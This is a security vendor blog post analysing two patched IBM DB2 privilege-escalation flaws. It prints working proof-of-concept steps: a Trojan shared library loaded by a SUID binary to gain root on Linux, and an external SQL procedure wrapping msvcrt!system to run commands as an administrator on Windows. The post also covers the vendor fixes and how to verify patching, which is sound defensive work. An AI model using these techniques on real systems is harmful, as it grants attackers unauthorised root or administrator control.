Trustwave SpiderLabs Uncovers Unique Cybersecurity Risks in Today's Tech Landscape. Learn More

Trustwave SpiderLabs Uncovers Unique Cybersecurity Risks in Today's Tech Landscape. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

About Two Recently Patched IBM DB2 LUW Vulnerabilities

IBM recently released patches for three security vulnerabilities affecting various versions of DB2 for Linux, Unix and Windows. This post will explore some more technical details of two of these vulnerabilities (CVE-2014-0907 and CVE-2013-6744) to help database administrators assess the risk of the vulnerabilities in the context of their own environment and design possible protections or workarounds. The post will also explain how to verify that a database is patched against these vulnerabilities using our AppDetectivePRO or DbProtect products.

ELEVATED PRIVILEGES WITH DB2 EXECUTABLES (CVE-2014-0907)

This vulnerability in DB2 LUW could allow a local user to gain root privileges. It can only be exploited by users through a local system account login. Read the advisory from the researcher who originally reported the issue here.

IBM suggests the following workaround in the bulletin:

cd <DB2_instance_install_directory>
bin/db2chglibpath -s '\.:' -r '' adm/db2iclean

Let's see what specifically was fixed and how this could be exploited by an attacker.

First, the db2chglibpath tools purpose is to alter a binary's embedded library search path. Comparing adm/db2iclean before and after running db2chglibpath on returns the following:

12746_f6edf930-144d-4232-ba46-891e6bc2a0c8

This means that shared libraries used by the binary will be searched in the current directory in addition to other locations.

The next step is to examine what happens when db2iclean is started: The strace utility can be used for this task.

$ sudo strace -o /tmp/db2iclean.log /home/db2inst1/sqllib/adm/db2iclean
$ cat /tmp/db2iclean.log | more
...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("./tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
open("./cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...

The app tries to load libdb2ure2.so.1 from the current directory before it finds it in the location where it was installed by DB2. If there is a hostile version of the library available, it will be loaded and its code will be executed as root essentially since the db2iclean is SUID root. The db2iclean itself is not publicly executable so the attacker has to be a member of the db2iadm1 group to be able to invoke the binary or entice other users to run this binary from a location where a Trojan shared library is placed.

POC

Create a Trojan library and name it after a real library used by the SUID binary:

// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
system("id > /m.log");
}

The only function name here matches the one that db2iclean expects to find and execute in the shared library.

Compile it:

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp

As a regular user launch SUID binary affected by the problem in a directory where the trojan shared library is placed:

<DB2_instance_install_directory>/adm/db2iclean

Examine the result:

$ cat /m.log

uid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)

Notice the EUID value – the code essentially runs with the highest privileges possible.

So the fix would be as IBM suggests: update SUID binaries affected so they do not look for shared libraries in the current directory anymore. Developers should never assume that it is safe to load libraries from untrusted locations!

More information about RPATH (runtime library path): http://en.wikipedia.org/wiki/Rpath

VULNERABILITY IN STORED PROCEDURE INFRASTRUCTURE CAN ALLOW ESCALATION OF PRIVILEGE TO ADMINISTRATOR (CVE-2013-6744)

This vulnerability in IBM DB2 for Linux, Unix and Windows could allow an authenticated user to obtain elevated privileges on Windows.

To exploit the vulnerability the malicious user would need:

  1. Valid credentials to connect to the database
  2. CONNECT privilege on the database
  3. CREATE_EXTERNAL_ROUTINE authority to create an external routine. This privilege is not granted to PUBLIC by default.

As a local fix IBM suggests revoking CREATE_EXTERNAL_ROUTINE from all users and only grant the privilege to trusted users.

On a Windows platform the DB2 service runs under a privileged account by default and the fenced process spawned by the DB2 service is not subject to access control checks. That means a non-privileged user having CREATE_EXTERNAL_ROUTINE authority can create a malicious library and invoke it so it will execute with elevated privileges.

POC

Suppose we have DB2 LUW 10.1 Fix Pack 1 running on Windows in default configuration.

As a user granted the CREATE_EXTERNAL_ROUTINE authority, run the following DDL to create a wrapper around the Microsoft C runtime system function:

CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

Then, invoke it:

CALL db2_exec('whoami /all > C:\whoami.log')

Examine the file created: it will contain the db2admin account information. This means that an unprivileged user runs code as db2admin which is a member of the local Administrators group.

Once the fix is enabled (db2set DB2_LIMIT_FENCED_GROUP=ON is a first part of it), the procedure returns an error:

SQL1646N A routine failed because the fenced user ID cannot access required files in the sqllib directory or other instance or database directories.

Now the fenced user actions are subject to access control checks. This vulnerability affects only Windows installations because on that platform the account used to run the service is a privileged one .

VERIFYING PATCHING WITH TRUSTWAVE APPDETECTIVEPRO AND DBPROTECT

Trustwave AppDetectivePRO and DbProtect verify if IBM DB2 LUW is patched with latest updates including fixes to the issues mentioned above. Note that for the second issue (CVE-2013-6744) the fix must be manually enabled once the latest fix pack has been applied.

Latest SpiderLabs Blogs

Zero Trust Essentials

This is Part 5 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

Why We Should Probably Stop Visually Verifying Checksums

Hello there! Thanks for stopping by. Let me get straight into it and start things off with what a checksum is to be inclusive of all audiences here, from Wikipedia [1]:

Read More

Agent Tesla's New Ride: The Rise of a Novel Loader

Malware loaders, critical for deploying malware, enable threat actors to deliver and execute malicious payloads, facilitating criminal activities like data theft and ransomware. Utilizing advanced...

Read More